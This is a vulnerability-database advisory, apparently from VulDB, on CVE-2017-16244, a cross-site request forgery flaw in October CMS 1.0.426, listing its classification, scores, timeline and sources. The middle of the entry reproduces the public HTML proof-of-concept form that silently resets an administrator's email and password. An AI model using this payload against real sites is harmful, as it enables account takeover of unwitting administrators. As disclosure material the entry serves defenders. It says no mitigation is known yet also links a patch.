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A vulnerability, which was classified as problematic, has been found in October CMS 1.0.426 (Content Management System). This issue affects an unknown function. The manipulation of the argument _handler
as part of a Variable leads to a cross-site request forgery vulnerability. Using CWE to declare the problem leads to CWE-352. The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. Impacted is integrity. The summary by CVE is:
Cross-Site Request Forgery exists in OctoberCMS 1.0.426 (aka Build 426) due to improper validation of CSRF tokens for postback handling, allowing an attacker to successfully take over the victim's account. The attack bypasses a protection mechanism involving X-CSRF headers and CSRF tokens via a certain _handler postback variable.
The bug was discovered 10/31/2017. The weakness was disclosed 11/01/2017 (GitHub Repository). The advisory is shared at github.com. The identification of this vulnerability is CVE-2017-16244 since 10/31/2017. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. It demands that the victim is doing some kind of user interaction. Technical details as well as a public exploit are known.
A public exploit has been developed by Zain Sabahat in HTML and been published immediately after the advisory. The exploit is available at exploit-db.com. It is declared as functional. The code used by the exploit is:
<html> <body> <form action="http://host/backend/users/myaccount" method="POST"> <input type="hidden" name="_handler" value="onSave" /> <input type="hidden" name="User[login]" value="Admin" /> <input type="hidden" name="User[email]" value="Hacked@hacked.com" /> <input type="hidden" name="User[first_name]" value="Admin" /> <input type="hidden" name="User[last_name]" value="1337" /> <input type="hidden" name="User[password]" value="YourNewPassword" /> <input type="hidden" name="User[password_confirmation]" value="YourNewPassword" /> <input type="hidden" name="redirect" value="0" /> <input type="submit" value="Submit request" /> </form> </body> </html>
There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.
The vulnerability is also documented in the vulnerability database at Exploit-DB (43106).
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CPE 2.3
CPE 2.2
CVSSv4
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CVSSv3
VulDB Meta Base Score: 6.5VulDB Meta Temp Score: 6.3
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VulDB Temp Score: 3.9
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NVD Base Score: 8.8
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Exploiting
Class: Cross-site request forgeryCWE: CWE-352 / CWE-862 / CWE-863
ATT&CK: Unknown
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Functional
Author: Zain Sabahat
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Countermeasures
Recommended: no mitigation knownStatus: 🔍
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Patch: github.com
Timeline
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Sources
Advisory: 4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0Status: Not defined
Confirmation: 🔍
CVE: CVE-2017-16244 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013
Entry
Created: 11/01/2017 07:47Updated: 01/05/2023 14:07
Changes: 11/01/2017 07:47 (66), 12/11/2019 07:41 (2), 01/05/2023 14:07 (5)
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